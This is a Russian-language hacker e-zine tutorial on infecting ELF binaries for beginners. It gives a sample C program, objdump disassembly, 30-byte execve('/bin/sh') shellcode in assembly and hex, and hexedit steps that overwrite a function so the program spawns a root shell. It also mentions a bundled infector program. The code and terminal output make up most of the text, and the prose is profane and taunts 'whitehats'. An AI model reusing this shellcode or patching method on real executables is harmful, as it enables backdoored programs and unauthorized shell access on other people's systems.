" [email protected]# echo XFree86 fuckz hard "
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==

      
                     Infectin binariez 4 beginners
               ~~=====================================~~

  Статья не сложная для понимания и думаю многим новичкам будет полезна.  Короче
переходим к делу. Вот эту прогу мы будем инфецировать:

root@darkstar# cat fuck.c
#include <stdio.h>

void suck();

int main()
{

if ( getuid() == 0 ){ suck(); }
exit(1);
}

void suck()
{
write(1,"xaxa\n",5);
}

root@darkstar# gcc -o fuck fuck.c
root@darkstar# ./fuck
xaxa
root@darkstar#

Нас интересует функция suck(). Допустим, нам нужно чтобы она вызывала шелл.

root@darkstar# objdump -h fuck

fuck:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  080480f4  080480f4  000000f4  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048108  08048108  00000108  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .hash         0000003c  08048128  08048128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynsym       000000a0  08048164  08048164  00000164  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynstr       000000a0  08048204  08048204  00000204  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .gnu.version  00000014  080482a4  080482a4  000002a4  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version_r 00000030  080482b8  080482b8  000002b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .rel.got      00000008  080482e8  080482e8  000002e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.plt      00000038  080482f0  080482f0  000002f0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .init         00000018  08048328  08048328  00000328  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 .plt          00000080  08048340  08048340  00000340  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         0000017c  080483c0  080483c0  000003c0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001e  0804853c  0804853c  0000053c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       0000000e  0804855c  0804855c  0000055c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .data         00000010  0804956c  0804956c  0000056c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 15 .eh_frame     00000004  0804957c  0804957c  0000057c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .ctors        00000008  08049580  08049580  00000580  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .dtors        00000008  08049588  08049588  00000588  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .got          0000002c  08049590  08049590  00000590  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .dynamic      000000a0  080495bc  080495bc  000005bc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .sbss         00000000  0804965c  0804965c  0000065c  2**0
                  CONTENTS
 21 .bss          00000018  0804965c  0804965c  0000065c  2**2
                  ALLOC
 22 .stab         000007a4  00000000  00000000  0000065c  2**2
                  CONTENTS, READONLY, DEBUGGING
 23 .stabstr      00001978  00000000  00000000  00000e00  2**0
                  CONTENTS, READONLY, DEBUGGING
 24 .comment      00000141  00000000  00000000  00002778  2**0
                  CONTENTS, READONLY
 25 .note         00000078  00000000  00000000  000028b9  2**0
                  CONTENTS, READONLY

gcc добавляет кучу секций, многие из которых можно и вырезать,но весь нужный нам
код лежит в секции .text. Посмотрим как он выглядит:

root@darkstar# objdump -d fuck 

fuck:     file format elf32-i386

Disassembly of section .init:

08048328 <_init>:
 8048328:	55                   	push   %ebp
 8048329:	89 e5                	mov    %esp,%ebp
 804832b:	83 ec 08             	sub    $0x8,%esp
 804832e:	e8 b1 00 00 00       	call   80483e4 <call_gmon_start>
 8048333:	90                   	nop    
 8048334:	e8 47 01 00 00       	call   8048480 <frame_dummy>
 8048339:	e8 c2 01 00 00       	call   8048500 <__do_global_ctors_aux>
 804833e:	c9                   	leave  
 804833f:	c3                   	ret    

Disassembly of section .text:

080483c0 <_start>:
 80483c0:	31 ed                	xor    %ebp,%ebp
 80483c2:	5e                   	pop    %esi
 80483c3:	89 e1                	mov    %esp,%ecx
 80483c5:	83 e4 f0             	and    $0xfffffff0,%esp
 80483c8:	50                   	push   %eax
 80483c9:	54                   	push   %esp
 80483ca:	52                   	push   %edx
 80483cb:	68 3c 85 04 08       	push   $0x804853c
 80483d0:	68 28 83 04 08       	push   $0x8048328
 80483d5:	51                   	push   %ecx
 80483d6:	56                   	push   %esi
 80483d7:	68 c0 84 04 08       	push   $0x80484c0
 80483dc:	e8 9f ff ff ff       	call   8048380 <_init+0x58>
 80483e1:	f4                   	hlt    
 80483e2:	90                   	nop    
 80483e3:	90                   	nop    

<...skipped...>

/* Вот отсюда начинается наш код... */

080484c0 <main>:
 80484c0:	55                   	push   %ebp
 80484c1:	89 e5                	mov    %esp,%ebp
 80484c3:	83 ec 08             	sub    $0x8,%esp
 80484c6:	e8 c5 fe ff ff       	call   8048390 <_init+0x68>
 80484cb:	89 c0                	mov    %eax,%eax
 80484cd:	85 c0                	test   %eax,%eax
 80484cf:	75 05                	jne    80484d6 <main+0x16>
 80484d1:	e8 0a 00 00 00       	call   80484e0 <suck> /* А вот и вызов нашей функции suck() */
 80484d6:	83 ec 0c             	sub    $0xc,%esp
 80484d9:	6a 01                	push   $0x1
 80484db:	e8 d0 fe ff ff       	call   80483b0 <_init+0x88>


/* Далее идёт код самой функции suck(): */

080484e0 <suck>:
 80484e0:	55                   	push   %ebp
 80484e1:	89 e5                	mov    %esp,%ebp
 80484e3:	83 ec 08             	sub    $0x8,%esp
 80484e6:	83 ec 04             	sub    $0x4,%esp
 80484e9:	6a 05                	push   $0x5
 80484eb:	68 64 85 04 08       	push   $0x8048564
 80484f0:	6a 01                	push   $0x1
 80484f2:	e8 69 fe ff ff       	call   8048360 <_init+0x38>
 80484f7:	83 c4 10             	add    $0x10,%esp
 80484fa:	89 ec                	mov    %ebp,%esp
 80484fc:	5d                   	pop    %ebp
 80484fd:	c3                   	ret    
 80484fe:	90                   	nop    
 80484ff:	90                   	nop    

/* размер кода - всего 32 байта, ну 30 байт без nop'ов */

<...skipped...>

Disassembly of section .fini:

0804853c <_fini>:
 804853c:	55                   	push   %ebp
 804853d:	89 e5                	mov    %esp,%ebp
 804853f:	53                   	push   %ebx
 8048540:	52                   	push   %edx
 8048541:	e8 00 00 00 00       	call   8048546 <gcc2_compiled.+0xa>
 8048546:	5b                   	pop    %ebx
 8048547:	81 c3 4a 10 00 00    	add    $0x104a,%ebx
 804854d:	8d 76 00             	lea    0x0(%esi),%esi
 8048550:	e8 bb fe ff ff       	call   8048410 <__do_global_dtors_aux>
 8048555:	8b 5d fc             	mov    0xfffffffc(%ebp),%ebx
 8048558:	c9                   	leave  
 8048559:	c3                   	ret    

Теперь нам нужен код, размером менее 32 байт, вызывающий /bin/sh:

root@darkstar# cat egg_code.s
.globl _start
_start:

xor %eax,%eax
xor %edx,%edx
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
push %eax
pushl %ebx
movl %esp,%ecx
mov $11,%al
int $0x80

xor %eax,%eax
incl %eax
int $0x80

root@darkstar# as -o egg.o egg_code.s; ld -o egg egg.o
root@darkstar# ./egg
sh-2.04# exit
exit
root@darkstar# al -al egg_code.s > hex

<...правим hex...>
root@darkstar# cat hex
\x31\xC0
\x31\xD2
\x50

\x68\x6E\x2F\x73\x68
\x68\x2F\x2F\x62\x69

\x89\xE3
\x50\x53
\x89\xE1
\xB0\x0B
\xCD\x80

\x31\xC0
\x40
\xCD\x80

root@darkstar# echo itz 30 bytes
itz 30 bytes

Это как раз то что нужно. Даже не пришлось занимать 2 nop'a ;)

root@darkstar# hexedit fuck
<...editin fuck...>

Ищем нужный фрагмент например по \xec\x5d\xc3\x90\x90(это концовка функции suck)
или по смещению 0x4e0 и правим код, стоящий до него. Вот что получается:

root@darkstar# objdump -d fuck
<...skipped...>
080484e0 <suck>:
 80484e0:	31 c0                	xor    %eax,%eax
 80484e2:	31 d2                	xor    %edx,%edx
 80484e4:	50                   	push   %eax
 80484e5:	68 6e 2f 73 68       	push   $0x68732f6e
 80484ea:	68 2f 2f 62 69       	push   $0x69622f2f
 80484ef:	89 e3                	mov    %esp,%ebx
 80484f1:	50                   	push   %eax
 80484f2:	53                   	push   %ebx
 80484f3:	89 e1                	mov    %esp,%ecx
 80484f5:	b0 0b                	mov    $0xb,%al
 80484f7:	cd 80                	int    $0x80
 80484f9:	31 c0                	xor    %eax,%eax
 80484fb:	40                   	inc    %eax
 80484fc:	cd 80                	int    $0x80
 80484fe:	90                   	nop    
 80484ff:	90                   	nop    
<...skipped...>

root@darkstar# ./fuck
sh-2.04# exit
exit

root@darkstar#

Весь наш код лежит в .text. Внутри может быть только одна функция _start  ( если
мы пишем прогу на асме и не раскидываем код по функциям ), или несколько ( в сях
к примеру ). Тоесть вот типовая структура сишной проги:

section .init   - инициализация проги
section .text
  function <_start>   - вызываем функцию main()
  function <main>     - тут уже наш код
  function <suck>     - тоже наш код, вызывается из main()
  ...      - gcc добавляет ещё некоторые функции, но это не так важно

section .fini   - завершение проги
section .data   - тут хранятся начальные значения переменных.

Остальные секции,  которые добавляет gcc  рассматривать не  стоит, т.к. это и не
нужно. На этом всё, hlt.

З.Ы. fuck_down_s0me_whitehatz_on_#m00sex/#!void/#ukr 
З.З.Ы. Советую почитать доку elf_and_lkm в x25zine#3
З.З.З.Ы. В include лежит infector.s - пример проги, заражающей fuck